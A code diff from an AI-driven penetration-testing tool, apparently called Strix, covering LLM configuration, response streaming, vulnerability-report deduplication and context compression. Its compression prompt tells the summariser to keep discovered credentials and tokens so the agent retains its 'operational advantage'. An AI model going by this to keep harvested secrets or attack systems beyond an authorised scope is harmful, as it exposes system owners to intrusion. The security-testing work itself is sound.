if status_code in {"R", "C"} and index + 2 < len(tokens):
old_path = tokens[index + 1]
new_path = tokens[index + 2]
@@ -727,7 +735,18 @@ def _parse_name_status_z(raw_output: bytes) -> list[DiffEntry]:
index += 2
continue
break
# Backward-compat fallback if output is tab-delimited unexpectedly.
status_fallback, has_tab, first_path = token.partition("\t")
if not has_tab:
break
fallback_code = status_fallback[:1]
fallback_similarity: int | None = None
if len(status_fallback) > 1 and status_fallback[1:].isdigit():
fallback_similarity = int(status_fallback[1:])
entries.append(
DiffEntry(status=fallback_code, path=first_path, similarity=fallback_similarity)
)
index += 1
return entries
@@ -804,7 +823,7 @@ def _truncate_file_list(
return files[:max_files], True
def build_diff_scope_instruction(scopes: list[RepoDiffScope]) -> str:
def build_diff_scope_instruction(scopes: list[RepoDiffScope]) -> str: # noqa: PLR0912
lines = [
"The user is requesting a review of a Pull Request.",
"Instruction: Direct your analysis primarily at the changes in the listed files. "
@@ -1030,7 +1049,7 @@ def resolve_diff_scope_context(
)
instruction_block = build_diff_scope_instruction(repo_scopes)
metadata = {
metadata: dict[str, Any] = {
"active": True,
"mode": scope_mode,
"repos": [scope.to_metadata() for scope in repo_scopes],
@@ -1063,7 +1082,7 @@ def _is_http_git_repo(url: str) -> bool:
return False
def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR0911
def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR0911, PLR0912
if not target or not isinstance(target, str):
raise ValueError("Target must be a non-empty string")
@@ -1184,13 +1203,8 @@ def assign_workspace_subdirs(targets_info: list[dict[str, Any]]) -> None:
details["workspace_subdir"] = workspace_subdir
def is_whitebox_scan(targets_info: list[dict[str, Any]]) -> bool:
"""True iff any target is a local source tree (whitebox / source-aware)."""
return any(t.get("type") == "local_code" for t in targets_info or [])
def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str, Any]]:
local_sources: list[dict[str, Any]] = []
def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str, str]]:
local_sources: list[dict[str, str]] = []
for target_info in targets_info:
details = target_info["details"]
@@ -1201,7 +1215,6 @@ def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str,
{
"source_path": details["target_path"],
"workspace_subdir": workspace_subdir,
"mount": bool(details.get("mount", False)),
}
)
@@ -1210,126 +1223,12 @@ def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str,
{
"source_path": details["cloned_repo_path"],
"workspace_subdir": workspace_subdir,
"mount": False,
}
)
return local_sources
def directory_size_bytes(path: Path) -> int:
"""Total size in bytes of regular files under ``path`` (symlinks not followed).
Best-effort: files that disappear or can't be stat'd mid-walk are skipped.
Used as a cheap (stat-only) pre-flight to estimate the cost of streaming a
local target into the sandbox before we actually try to copy it.
Directories that can't be listed (e.g. permission denied) are logged and
skipped rather than silently dropped — so an under-count is at least
visible — but the returned total then excludes their contents.
"""
def _on_walk_error(error: OSError) -> None:
logger.warning("Could not read %s while measuring size: %s", error.filename, error)
total = 0
for root, _dirs, files in os.walk(path, followlinks=False, onerror=_on_walk_error):
for name in files:
file_path = os.path.join(root, name) # noqa: PTH118
try:
if os.path.islink(file_path): # noqa: PTH114
continue
total += os.path.getsize(file_path) # noqa: PTH202
except OSError:
continue
return total
def find_oversized_local_targets(
targets_info: list[dict[str, Any]], max_bytes: int
) -> list[tuple[str, int]]:
"""Return ``(path, size_bytes)`` for non-mounted local targets over ``max_bytes``.
Mounted targets are bind-mounted rather than copied, so their size is
irrelevant and they are excluded. A ``max_bytes`` of zero or less disables
the check entirely (returns no targets).
"""
if max_bytes <= 0:
return []
oversized: list[tuple[str, int]] = []
for target in targets_info:
if target.get("type") != "local_code":
continue
details = target.get("details") or {}
if details.get("mount"):
continue
target_path = details.get("target_path")
if not target_path:
continue
size = directory_size_bytes(Path(target_path))
if size > max_bytes:
oversized.append((target_path, size))
return oversized
def build_mount_targets_info(mount_paths: list[str]) -> list[dict[str, Any]]:
"""Build ``targets_info`` entries for ``--mount`` directories.
Each path must be an existing local directory; it is bind-mounted into the
sandbox (read-only) instead of being copied file-by-file. Raises
``ValueError`` for an empty path, or one that does not exist or is not a
directory.
"""
targets_info: list[dict[str, Any]] = []
for raw in mount_paths:
if not raw or not raw.strip():
raise ValueError("--mount path must not be empty.")
path = Path(raw).expanduser()
try:
resolved = path.resolve()
is_dir = resolved.is_dir()
except (OSError, RuntimeError) as e:
raise ValueError(f"Invalid mount path '{raw}': {e!s}") from e
if not is_dir:
raise ValueError(
f"Mount path '{raw}' is not an existing directory. "
"--mount requires a path to a local directory."
)
targets_info.append(
{
"type": "local_code",
"details": {"target_path": str(resolved), "mount": True},
"original": str(resolved),
}
)
return targets_info
def dedupe_local_targets(targets_info: list[dict[str, Any]]) -> list[dict[str, Any]]:
"""Collapse local_code targets that resolve to the same path.
When a directory is supplied both as a copied ``--target`` and via
``--mount`` (or as duplicate values of either), keep one entry and prefer
the bind-mounted one — so the same tree is never both streamed in and
mounted. Order is preserved; non-local targets pass through untouched.
"""
result: list[dict[str, Any]] = []
index_by_path: dict[str, int] = {}
for target in targets_info:
details = target.get("details") or {}
path = details.get("target_path")
if target.get("type") != "local_code" or not path:
result.append(target)
continue
existing = index_by_path.get(path)
if existing is None:
index_by_path[path] = len(result)
result.append(target)
elif details.get("mount") and not (result[existing].get("details") or {}).get("mount"):
result[existing] = target # bind mount supersedes the copied entry
return result
def _is_localhost_host(host: str) -> bool:
host_lower = host.lower().strip("[]")
@@ -1349,7 +1248,7 @@ def _is_localhost_host(host: str) -> bool:
def rewrite_localhost_targets(targets_info: list[dict[str, Any]], host_gateway: str) -> None:
from yarl import URL
from yarl import URL # type: ignore[import-not-found]
for target_info in targets_info:
target_type = target_info.get("type")
@@ -1371,6 +1270,7 @@ def rewrite_localhost_targets(targets_info: list[dict[str, Any]], host_gateway:
details["target_ip"] = host_gateway
# Repository utilities
def clone_repository(repo_url: str, run_name: str, dest_name: str | None = None) -> str:
console = Console()
@@ -1447,6 +1347,7 @@ def clone_repository(repo_url: str, run_name: str, dest_name: str | None = None)
sys.exit(1)
# Docker utilities
def check_docker_connection() -> Any:
try:
return docker.from_env()
@@ -1522,6 +1423,12 @@ def process_pull_line(
return last_update
# LLM utilities
def validate_llm_response(response: Any) -> None:
if not response or not response.choices or not response.choices[0].message.content:
raise RuntimeError("Invalid response from LLM")
def validate_config_file(config_path: str) -> Path:
console = Console()
path = Path(config_path)
+19
View File
@@ -0,0 +1,19 @@
import logging
import warnings
import litellm
from .config import LLMConfig
from .llm import LLM, LLMRequestFailedError
__all__ = [
"LLM",
"LLMConfig",
"LLMRequestFailedError",
]
litellm._logging._disable_debugging()
logging.getLogger("asyncio").setLevel(logging.CRITICAL)
logging.getLogger("asyncio").propagate = False
warnings.filterwarnings("ignore", category=RuntimeWarning, module="asyncio")
+40
View File
@@ -0,0 +1,40 @@
from typing import Any
from strix.config import Config
from strix.config.config import resolve_llm_config
from strix.llm.utils import resolve_strix_model
class LLMConfig:
def __init__(
self,
model_name: str | None = None,
enable_prompt_caching: bool = True,
skills: list[str] | None = None,
timeout: int | None = None,
scan_mode: str = "deep",
is_whitebox: bool = False,
interactive: bool = False,
reasoning_effort: str | None = None,
system_prompt_context: dict[str, Any] | None = None,
):
resolved_model, self.api_key, self.api_base = resolve_llm_config()
self.model_name = model_name or resolved_model
if not self.model_name:
raise ValueError("STRIX_LLM environment variable must be set and not empty")
api_model, canonical = resolve_strix_model(self.model_name)
self.litellm_model: str = api_model or self.model_name
self.canonical_model: str = canonical or self.model_name
self.enable_prompt_caching = enable_prompt_caching
self.skills = skills or []
self.timeout = timeout or int(Config.get("llm_timeout") or "300")
self.scan_mode = scan_mode if scan_mode in ["quick", "standard", "deep"] else "deep"
self.is_whitebox = is_whitebox
self.interactive = interactive
self.reasoning_effort = reasoning_effort
self.system_prompt_context = system_prompt_context or {}
+213
View File
@@ -0,0 +1,213 @@
import json
import logging
import re
from typing import Any
import litellm
from strix.config.config import resolve_llm_config
from strix.llm.utils import resolve_strix_model
logger = logging.getLogger(__name__)
DEDUPE_SYSTEM_PROMPT = """You are an expert vulnerability report deduplication judge.
Your task is to determine if a candidate vulnerability report describes the SAME vulnerability
as any existing report.
CRITICAL DEDUPLICATION RULES:
1. SAME VULNERABILITY means:
- Same root cause (e.g., "missing input validation" not just "SQL injection")
- Same affected component/endpoint/file (exact match or clear overlap)
- Same exploitation method or attack vector
- Would be fixed by the same code change/patch
2. NOT DUPLICATES if:
- Different endpoints even with same vulnerability type (e.g., SQLi in /login vs /search)
- Different parameters in same endpoint (e.g., XSS in 'name' vs 'comment' field)
- Different root causes (e.g., stored XSS vs reflected XSS in same field)
- Different severity levels due to different impact
- One is authenticated, other is unauthenticated
3. ARE DUPLICATES even if:
- Titles are worded differently
- Descriptions have different level of detail
- PoC uses different payloads but exploits same issue
- One report is more thorough than another
- Minor variations in technical analysis
COMPARISON GUIDELINES:
- Focus on the technical root cause, not surface-level similarities
- Same vulnerability type (SQLi, XSS) doesn't mean duplicate - location matters
- Consider the fix: would fixing one also fix the other?
- When uncertain, lean towards NOT duplicate
FIELDS TO ANALYZE:
- title, description: General vulnerability info
- target, endpoint, method: Exact location of vulnerability
- technical_analysis: Root cause details
- poc_description: How it's exploited
- impact: What damage it can cause
YOU MUST RESPOND WITH EXACTLY THIS XML FORMAT AND NOTHING ELSE:
<dedupe_result>
<is_duplicate>true</is_duplicate>
<duplicate_id>vuln-0001</duplicate_id>
<confidence>0.95</confidence>
<reason>Both reports describe SQL injection in /api/login via the username parameter</reason>
</dedupe_result>
OR if not a duplicate:
<dedupe_result>
<is_duplicate>false</is_duplicate>
<duplicate_id></duplicate_id>
<confidence>0.90</confidence>
<reason>Different endpoints: candidate is /api/search, existing is /api/login</reason>
</dedupe_result>
RULES:
- is_duplicate MUST be exactly "true" or "false" (lowercase)
- duplicate_id MUST be the exact ID from existing reports or empty if not duplicate
- confidence MUST be a decimal (your confidence level in the decision)
- reason MUST be a specific explanation mentioning endpoint/parameter/root cause
- DO NOT include any text outside the <dedupe_result> tags"""
def _prepare_report_for_comparison(report: dict[str, Any]) -> dict[str, Any]:
relevant_fields = [
"id",
"title",
"description",
"impact",
"target",
"technical_analysis",
"poc_description",
"endpoint",
"method",
]
cleaned = {}
for field in relevant_fields:
if report.get(field):
value = report[field]
if isinstance(value, str) and len(value) > 8000:
value = value[:8000] + "...[truncated]"
cleaned[field] = value
return cleaned
def _extract_xml_field(content: str, field: str) -> str:
pattern = rf"<{field}>(.*?)</{field}>"
match = re.search(pattern, content, re.DOTALL | re.IGNORECASE)
if match:
return match.group(1).strip()
return ""
def _parse_dedupe_response(content: str) -> dict[str, Any]:
result_match = re.search(
r"<dedupe_result>(.*?)</dedupe_result>", content, re.DOTALL | re.IGNORECASE
)
if not result_match:
logger.warning(f"No <dedupe_result> block found in response: {content[:500]}")
raise ValueError("No <dedupe_result> block found in response")
result_content = result_match.group(1)
is_duplicate_str = _extract_xml_field(result_content, "is_duplicate")
duplicate_id = _extract_xml_field(result_content, "duplicate_id")
confidence_str = _extract_xml_field(result_content, "confidence")
reason = _extract_xml_field(result_content, "reason")
is_duplicate = is_duplicate_str.lower() == "true"
try:
confidence = float(confidence_str) if confidence_str else 0.0
except ValueError:
confidence = 0.0
return {
"is_duplicate": is_duplicate,
"duplicate_id": duplicate_id[:64] if duplicate_id else "",
"confidence": confidence,
"reason": reason[:500] if reason else "",
}
def check_duplicate(
candidate: dict[str, Any], existing_reports: list[dict[str, Any]]
) -> dict[str, Any]:
if not existing_reports:
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 1.0,
"reason": "No existing reports to compare against",
}
try:
candidate_cleaned = _prepare_report_for_comparison(candidate)
existing_cleaned = [_prepare_report_for_comparison(r) for r in existing_reports]
comparison_data = {"candidate": candidate_cleaned, "existing_reports": existing_cleaned}
model_name, api_key, api_base = resolve_llm_config()
litellm_model, _ = resolve_strix_model(model_name)
litellm_model = litellm_model or model_name
messages = [
{"role": "system", "content": DEDUPE_SYSTEM_PROMPT},
{
"role": "user",
"content": (
f"Compare this candidate vulnerability against existing reports:\n\n"
f"{json.dumps(comparison_data, indent=2)}\n\n"
f"Respond with ONLY the <dedupe_result> XML block."
),
},
]
completion_kwargs: dict[str, Any] = {
"model": litellm_model,
"messages": messages,
"timeout": 120,
}
if api_key:
completion_kwargs["api_key"] = api_key
if api_base:
completion_kwargs["api_base"] = api_base
response = litellm.completion(**completion_kwargs)
content = response.choices[0].message.content
if not content:
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 0.0,
"reason": "Empty response from LLM",
}
result = _parse_dedupe_response(content)
logger.info(
f"Deduplication check: is_duplicate={result['is_duplicate']}, "
f"confidence={result['confidence']}, reason={result['reason'][:100]}"
)
except Exception as e:
logger.exception("Error during vulnerability deduplication check")
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 0.0,
"reason": f"Deduplication check failed: {e}",
"error": str(e),
}
else:
return result
+378
View File
@@ -0,0 +1,378 @@
import asyncio
from collections.abc import AsyncIterator
from dataclasses import dataclass
from typing import Any
import litellm
from jinja2 import Environment, FileSystemLoader, select_autoescape
from litellm import acompletion, completion_cost, stream_chunk_builder, supports_reasoning
from litellm.utils import supports_prompt_caching, supports_vision
from strix.config import Config
from strix.llm.config import LLMConfig
from strix.llm.memory_compressor import MemoryCompressor
from strix.llm.utils import (
_truncate_to_first_function,
fix_incomplete_tool_call,
normalize_tool_format,
parse_tool_invocations,
)
from strix.skills import load_skills
from strix.tools import get_tools_prompt
from strix.utils.resource_paths import get_strix_resource_path
litellm.drop_params = True
litellm.modify_params = True
class LLMRequestFailedError(Exception):
def __init__(self, message: str, details: str | None = None):
super().__init__(message)
self.message = message
self.details = details
@dataclass
class LLMResponse:
content: str
tool_invocations: list[dict[str, Any]] | None = None
thinking_blocks: list[dict[str, Any]] | None = None
@dataclass
class RequestStats:
input_tokens: int = 0
output_tokens: int = 0
cached_tokens: int = 0
cost: float = 0.0
requests: int = 0
def to_dict(self) -> dict[str, int | float]:
return {
"input_tokens": self.input_tokens,
"output_tokens": self.output_tokens,
"cached_tokens": self.cached_tokens,
"cost": round(self.cost, 4),
"requests": self.requests,
}
class LLM:
def __init__(self, config: LLMConfig, agent_name: str | None = None):
self.config = config
self.agent_name = agent_name
self.agent_id: str | None = None
self._active_skills: list[str] = list(config.skills or [])
self._system_prompt_context: dict[str, Any] = dict(
getattr(config, "system_prompt_context", {}) or {}
)
self._total_stats = RequestStats()
self.memory_compressor = MemoryCompressor(model_name=config.litellm_model)
self.system_prompt = self._load_system_prompt(agent_name)
reasoning = Config.get("strix_reasoning_effort")
if reasoning:
self._reasoning_effort = reasoning
elif config.reasoning_effort:
self._reasoning_effort = config.reasoning_effort
elif config.scan_mode == "quick":
self._reasoning_effort = "medium"
else:
self._reasoning_effort = "high"
def _load_system_prompt(self, agent_name: str | None) -> str:
if not agent_name:
return ""
try:
prompt_dir = get_strix_resource_path("agents", agent_name)
skills_dir = get_strix_resource_path("skills")
env = Environment(
loader=FileSystemLoader([prompt_dir, skills_dir]),
autoescape=select_autoescape(enabled_extensions=(), default_for_string=False),
)
skills_to_load = self._get_skills_to_load()
skill_content = load_skills(skills_to_load)
env.globals["get_skill"] = lambda name: skill_content.get(name, "")
result = env.get_template("system_prompt.jinja").render(
get_tools_prompt=get_tools_prompt,
loaded_skill_names=list(skill_content.keys()),
interactive=self.config.interactive,
system_prompt_context=self._system_prompt_context,
**skill_content,
)
return str(result)
except Exception: # noqa: BLE001
return ""
def _get_skills_to_load(self) -> list[str]:
ordered_skills = [*self._active_skills]
ordered_skills.append(f"scan_modes/{self.config.scan_mode}")
if self.config.is_whitebox:
ordered_skills.append("coordination/source_aware_whitebox")
ordered_skills.append("custom/source_aware_sast")
deduped: list[str] = []
seen: set[str] = set()
for skill_name in ordered_skills:
if skill_name not in seen:
deduped.append(skill_name)
seen.add(skill_name)
return deduped
def add_skills(self, skill_names: list[str]) -> list[str]:
added: list[str] = []
for skill_name in skill_names:
if not skill_name or skill_name in self._active_skills:
continue
self._active_skills.append(skill_name)
added.append(skill_name)
if not added:
return []
updated_prompt = self._load_system_prompt(self.agent_name)
if updated_prompt:
self.system_prompt = updated_prompt
return added
def set_agent_identity(self, agent_name: str | None, agent_id: str | None) -> None:
if agent_name:
self.agent_name = agent_name
if agent_id:
self.agent_id = agent_id
def set_system_prompt_context(self, context: dict[str, Any] | None) -> None:
self._system_prompt_context = dict(context or {})
updated_prompt = self._load_system_prompt(self.agent_name)
if updated_prompt:
self.system_prompt = updated_prompt
async def generate(
self, conversation_history: list[dict[str, Any]]
) -> AsyncIterator[LLMResponse]:
messages = self._prepare_messages(conversation_history)
max_retries = int(Config.get("strix_llm_max_retries") or "5")
for attempt in range(max_retries + 1):
try:
async for response in self._stream(messages):
yield response
return # noqa: TRY300
except Exception as e: # noqa: BLE001
if attempt >= max_retries or not self._should_retry(e):
self._raise_error(e)
wait = min(90, 2 * (2**attempt))
await asyncio.sleep(wait)
async def _stream(self, messages: list[dict[str, Any]]) -> AsyncIterator[LLMResponse]:
accumulated = ""
chunks: list[Any] = []
done_streaming = 0
self._total_stats.requests += 1
response = await acompletion(**self._build_completion_args(messages), stream=True)
async for chunk in response:
chunks.append(chunk)
if done_streaming:
done_streaming += 1
if getattr(chunk, "usage", None) or done_streaming > 5:
break
continue
delta = self._get_chunk_content(chunk)
if delta:
accumulated += delta
if "</function>" in accumulated or "</invoke>" in accumulated:
end_tag = "</function>" if "</function>" in accumulated else "</invoke>"
pos = accumulated.find(end_tag)
accumulated = accumulated[: pos + len(end_tag)]
yield LLMResponse(content=accumulated)
done_streaming = 1
continue
yield LLMResponse(content=accumulated)
if chunks:
self._update_usage_stats(stream_chunk_builder(chunks))
accumulated = normalize_tool_format(accumulated)
accumulated = fix_incomplete_tool_call(_truncate_to_first_function(accumulated))
yield LLMResponse(
content=accumulated,
tool_invocations=parse_tool_invocations(accumulated),
thinking_blocks=self._extract_thinking(chunks),
)
def _prepare_messages(self, conversation_history: list[dict[str, Any]]) -> list[dict[str, Any]]:
messages = [{"role": "system", "content": self.system_prompt}]
if self.agent_name:
messages.append(
{
"role": "user",
"content": (
f"\n\n<agent_identity>\n"
f"<meta>Internal metadata: do not echo or reference.</meta>\n"
f"<agent_name>{self.agent_name}</agent_name>\n"
f"<agent_id>{self.agent_id}</agent_id>\n"
f"</agent_identity>\n\n"
),
}
)
compressed = list(self.memory_compressor.compress_history(conversation_history))
conversation_history.clear()
conversation_history.extend(compressed)
messages.extend(compressed)
if messages[-1].get("role") == "assistant" and not self.config.interactive:
messages.append({"role": "user", "content": "<meta>Continue the task.</meta>"})
if self._is_anthropic() and self.config.enable_prompt_caching:
messages = self._add_cache_control(messages)
return messages
def _build_completion_args(self, messages: list[dict[str, Any]]) -> dict[str, Any]:
if not self._supports_vision():
messages = self._strip_images(messages)
args: dict[str, Any] = {
"model": self.config.litellm_model,
"messages": messages,
"timeout": self.config.timeout,
"stream_options": {"include_usage": True},
}
if self.config.api_key:
args["api_key"] = self.config.api_key
if self.config.api_base:
args["api_base"] = self.config.api_base
if self._supports_reasoning():
args["reasoning_effort"] = self._reasoning_effort
return args
def _get_chunk_content(self, chunk: Any) -> str:
if chunk.choices and hasattr(chunk.choices[0], "delta"):
return getattr(chunk.choices[0].delta, "content", "") or ""
return ""
def _extract_thinking(self, chunks: list[Any]) -> list[dict[str, Any]] | None:
if not chunks or not self._supports_reasoning():
return None
try:
resp = stream_chunk_builder(chunks)
if resp.choices and hasattr(resp.choices[0].message, "thinking_blocks"):
blocks: list[dict[str, Any]] = resp.choices[0].message.thinking_blocks
return blocks
except Exception: # noqa: BLE001, S110 # nosec B110
pass
return None
def _update_usage_stats(self, response: Any) -> None:
try:
if hasattr(response, "usage") and response.usage:
input_tokens = getattr(response.usage, "prompt_tokens", 0) or 0
output_tokens = getattr(response.usage, "completion_tokens", 0) or 0
cached_tokens = 0
if hasattr(response.usage, "prompt_tokens_details"):
prompt_details = response.usage.prompt_tokens_details
if hasattr(prompt_details, "cached_tokens"):
cached_tokens = prompt_details.cached_tokens or 0
cost = self._extract_cost(response)
else:
input_tokens = 0
output_tokens = 0
cached_tokens = 0
cost = 0.0
self._total_stats.input_tokens += input_tokens
self._total_stats.output_tokens += output_tokens
self._total_stats.cached_tokens += cached_tokens
self._total_stats.cost += cost
except Exception: # noqa: BLE001, S110 # nosec B110
pass
def _extract_cost(self, response: Any) -> float:
if hasattr(response, "usage") and response.usage:
direct_cost = getattr(response.usage, "cost", None)
if direct_cost is not None:
return float(direct_cost)
try:
if hasattr(response, "_hidden_params"):
response._hidden_params.pop("custom_llm_provider", None)
return completion_cost(response, model=self.config.canonical_model) or 0.0
except Exception: # noqa: BLE001
return 0.0
def _should_retry(self, e: Exception) -> bool:
code = getattr(e, "status_code", None) or getattr(
getattr(e, "response", None), "status_code", None
)
return code is None or litellm._should_retry(code)
def _raise_error(self, e: Exception) -> None:
from strix.telemetry import posthog
posthog.error("llm_error", type(e).__name__)
raise LLMRequestFailedError(f"LLM request failed: {type(e).__name__}", str(e)) from e
def _is_anthropic(self) -> bool:
if not self.config.model_name:
return False
return any(p in self.config.model_name.lower() for p in ["anthropic/", "claude"])
def _supports_vision(self) -> bool:
try:
return bool(supports_vision(model=self.config.canonical_model))
except Exception: # noqa: BLE001
return False
def _supports_reasoning(self) -> bool:
try:
return bool(supports_reasoning(model=self.config.canonical_model))
except Exception: # noqa: BLE001
return False
def _strip_images(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
result = []
for msg in messages:
content = msg.get("content")
if isinstance(content, list):
text_parts = []
for item in content:
if isinstance(item, dict) and item.get("type") == "text":
text_parts.append(item.get("text", ""))
elif isinstance(item, dict) and item.get("type") == "image_url":
text_parts.append("[Image removed - model doesn't support vision]")
result.append({**msg, "content": "\n".join(text_parts)})
else:
result.append(msg)
return result
def _add_cache_control(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
if not messages or not supports_prompt_caching(self.config.canonical_model):
return messages
result = list(messages)
if result[0].get("role") == "system":
content = result[0]["content"]
result[0] = {
**result[0],
"content": [
{"type": "text", "text": content, "cache_control": {"type": "ephemeral"}}
]
if isinstance(content, str)
else content,
}
return result
+219
View File
@@ -0,0 +1,219 @@
import logging
from typing import Any
import litellm
from strix.config.config import Config, resolve_llm_config
logger = logging.getLogger(__name__)
MAX_TOTAL_TOKENS = 100_000
MIN_RECENT_MESSAGES = 15
SUMMARY_PROMPT_TEMPLATE = """You are an agent performing context
condensation for a security agent. Your job is to compress scan data while preserving
ALL operationally critical information for continuing the security assessment.
CRITICAL ELEMENTS TO PRESERVE:
- Discovered vulnerabilities and potential attack vectors
- Scan results and tool outputs (compressed but maintaining key findings)
- Access credentials, tokens, or authentication details found
- System architecture insights and potential weak points
- Progress made in the assessment
- Failed attempts and dead ends (to avoid duplication)
- Any decisions made about the testing approach
COMPRESSION GUIDELINES:
- Preserve exact technical details (URLs, paths, parameters, payloads)
- Summarize verbose tool outputs while keeping critical findings
- Maintain version numbers, specific technologies identified
- Keep exact error messages that might indicate vulnerabilities
- Compress repetitive or similar findings into consolidated form
Remember: Another security agent will use this summary to continue the assessment.
They must be able to pick up exactly where you left off without losing any
operational advantage or context needed to find vulnerabilities.
CONVERSATION SEGMENT TO SUMMARIZE:
{conversation}
Provide a technically precise summary that preserves all operational security context while
keeping the summary concise and to the point."""
def _count_tokens(text: str, model: str) -> int:
try:
count = litellm.token_counter(model=model, text=text)
return int(count)
except Exception:
logger.exception("Failed to count tokens")
return len(text) // 4 # Rough estimate
def _get_message_tokens(msg: dict[str, Any], model: str) -> int:
content = msg.get("content", "")
if isinstance(content, str):
return _count_tokens(content, model)
if isinstance(content, list):
return sum(
_count_tokens(item.get("text", ""), model)
for item in content
if isinstance(item, dict) and item.get("type") == "text"
)
return 0
def _extract_message_text(msg: dict[str, Any]) -> str:
content = msg.get("content", "")
if isinstance(content, str):
return content
if isinstance(content, list):
parts = []
for item in content:
if isinstance(item, dict):
if item.get("type") == "text":
parts.append(item.get("text", ""))
elif item.get("type") == "image_url":
parts.append("[IMAGE]")
return " ".join(parts)
return str(content)
def _summarize_messages(
messages: list[dict[str, Any]],
model: str,
timeout: int = 30,
) -> dict[str, Any]:
if not messages:
empty_summary = "<context_summary message_count='0'>{text}</context_summary>"
return {
"role": "user",
"content": empty_summary.format(text="No messages to summarize"),
}
formatted = []
for msg in messages:
role = msg.get("role", "unknown")
text = _extract_message_text(msg)
formatted.append(f"{role}: {text}")
conversation = "\n".join(formatted)
prompt = SUMMARY_PROMPT_TEMPLATE.format(conversation=conversation)
_, api_key, api_base = resolve_llm_config()
try:
completion_args: dict[str, Any] = {
"model": model,
"messages": [{"role": "user", "content": prompt}],
"timeout": timeout,
}
if api_key:
completion_args["api_key"] = api_key
if api_base:
completion_args["api_base"] = api_base
response = litellm.completion(**completion_args)
summary = response.choices[0].message.content or ""
if not summary.strip():
return messages[0]
summary_msg = "<context_summary message_count='{count}'>{text}</context_summary>"
return {
"role": "user",
"content": summary_msg.format(count=len(messages), text=summary),
}
except Exception:
logger.exception("Failed to summarize messages")
return messages[0]
def _handle_images(messages: list[dict[str, Any]], max_images: int) -> None:
image_count = 0
for msg in reversed(messages):
content = msg.get("content", [])
if isinstance(content, list):
for item in content:
if isinstance(item, dict) and item.get("type") == "image_url":
if image_count >= max_images:
item.update(
{
"type": "text",
"text": "[Previously attached image removed to preserve context]",
}
)
else:
image_count += 1
class MemoryCompressor:
def __init__(
self,
max_images: int = 3,
model_name: str | None = None,
timeout: int | None = None,
):
self.max_images = max_images
self.model_name = model_name or Config.get("strix_llm")
self.timeout = timeout or int(Config.get("strix_memory_compressor_timeout") or "120")
if not self.model_name:
raise ValueError("STRIX_LLM environment variable must be set and not empty")
def compress_history(
self,
messages: list[dict[str, Any]],
) -> list[dict[str, Any]]:
"""Compress conversation history to stay within token limits.
Strategy:
1. Handle image limits first
2. Keep all system messages
3. Keep minimum recent messages
4. Summarize older messages when total tokens exceed limit
The compression preserves:
- All system messages unchanged
- Most recent messages intact
- Critical security context in summaries
- Recent images for visual context
- Technical details and findings
"""
if not messages:
return messages
_handle_images(messages, self.max_images)
system_msgs = []
regular_msgs = []
for msg in messages:
if msg.get("role") == "system":
system_msgs.append(msg)
else:
regular_msgs.append(msg)
recent_msgs = regular_msgs[-MIN_RECENT_MESSAGES:]
old_msgs = regular_msgs[:-MIN_RECENT_MESSAGES]
# Type assertion since we ensure model_name is not None in __init__
model_name: str = self.model_name # type: ignore[assignment]
total_tokens = sum(
_get_message_tokens(msg, model_name) for msg in system_msgs + regular_msgs
)
if total_tokens <= MAX_TOTAL_TOKENS * 0.9:
return messages
compressed = []
chunk_size = 10
for i in range(0, len(old_msgs), chunk_size):
chunk = old_msgs[i : i + chunk_size]
summary = _summarize_messages(chunk, model_name, self.timeout)
if summary:
compressed.append(summary)
return system_msgs + compressed + recent_msgs
+160
View File
@@ -0,0 +1,160 @@
import html
import re
from typing import Any
_INVOKE_OPEN = re.compile(r'<invoke\s+name=["\']([^"\']+)["\']>')
_PARAM_NAME_ATTR = re.compile(r'<parameter\s+name=["\']([^"\']+)["\']>')
_FUNCTION_CALLS_TAG = re.compile(r"</?function_calls>")
_STRIP_TAG_QUOTES = re.compile(r"<(function|parameter)\s*=\s*([^>]*?)>")
def normalize_tool_format(content: str) -> str:
"""Convert alternative tool-call XML formats to the expected one.
Handles:
<function_calls>...</function_calls> stripped
<invoke name="X"> <function=X>
<parameter name="X"> <parameter=X>
</invoke> </function>
<function="X"> <function=X>
<parameter="X"> <parameter=X>
"""
if "<invoke" in content or "<function_calls" in content:
content = _FUNCTION_CALLS_TAG.sub("", content)
content = _INVOKE_OPEN.sub(r"<function=\1>", content)
content = _PARAM_NAME_ATTR.sub(r"<parameter=\1>", content)
content = content.replace("</invoke>", "</function>")
return _STRIP_TAG_QUOTES.sub(
lambda m: f"<{m.group(1)}={m.group(2).strip().strip(chr(34) + chr(39))}>", content
)
STRIX_MODEL_MAP: dict[str, str] = {
"claude-sonnet-4.6": "anthropic/claude-sonnet-4-6",
"claude-opus-4.6": "anthropic/claude-opus-4-6",
"gpt-5.2": "openai/gpt-5.2",
"gpt-5.1": "openai/gpt-5.1",
"gpt-5.4": "openai/gpt-5.4",
"gemini-3-pro-preview": "gemini/gemini-3-pro-preview",
"gemini-3-flash-preview": "gemini/gemini-3-flash-preview",
"glm-5": "openrouter/z-ai/glm-5",
"glm-4.7": "openrouter/z-ai/glm-4.7",
}
def resolve_strix_model(model_name: str | None) -> tuple[str | None, str | None]:
"""Resolve a strix/ model into names for API calls and capability lookups.
Returns (api_model, canonical_model):
- api_model: openai/<base> for API calls (Strix API is OpenAI-compatible)
- canonical_model: actual provider model name for litellm capability lookups
Non-strix models return the same name for both.
"""
if not model_name or not model_name.startswith("strix/"):
return model_name, model_name
base_model = model_name[6:]
api_model = f"openai/{base_model}"
canonical_model = STRIX_MODEL_MAP.get(base_model, api_model)
return api_model, canonical_model
def _truncate_to_first_function(content: str) -> str:
if not content:
return content
function_starts = [
match.start() for match in re.finditer(r"<function=|<invoke\s+name=", content)
]
if len(function_starts) >= 2:
second_function_start = function_starts[1]
return content[:second_function_start].rstrip()
return content
def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None:
content = normalize_tool_format(content)
content = fix_incomplete_tool_call(content)
tool_invocations: list[dict[str, Any]] = []
fn_regex_pattern = r"<function=([^>]+)>\n?(.*?)</function>"
fn_param_regex_pattern = r"<parameter=([^>]+)>(.*?)</parameter>"
fn_matches = re.finditer(fn_regex_pattern, content, re.DOTALL)
